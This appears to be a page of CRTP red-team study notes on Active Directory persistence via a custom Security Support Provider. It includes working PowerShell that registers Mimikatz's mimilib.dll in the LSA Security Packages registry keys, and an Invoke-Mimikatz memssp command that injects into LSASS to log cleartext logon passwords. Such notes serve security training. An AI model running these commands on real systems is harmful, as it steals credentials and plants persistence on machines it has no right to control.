> For the complete documentation index, see [llms.txt](https://dudisamarel.gitbook.io/crtp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dudisamarel.gitbook.io/crtp-notes/persistence/custom-ssp.md).

# Custom SSP

A Security Support Provider (SSP) is a DLL which provides for an application an authenticated connection. \
\
Microsoft SSPs: 

* NTLM
* Kerberos
* Wdigest
* CredSSP

## Exploitation 

Mimikatz can provide a custom SSP (mimilib.dll) which logs local logons, service account, and machine account passwords in clear text on the target server.

Drop the mimilib.dll to system32 and add mimilib to Security Packages: 

```powershell
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
```

Using mimikatz, inject into LSASS (not stable but usable)

```powershell
Invoke-Mimikatz -Command '"misc::memssp"'
```

{% hint style="info" %}
All local logons on the DC are logged to C:\Windows\system32\mimilsa.log
{% endhint %}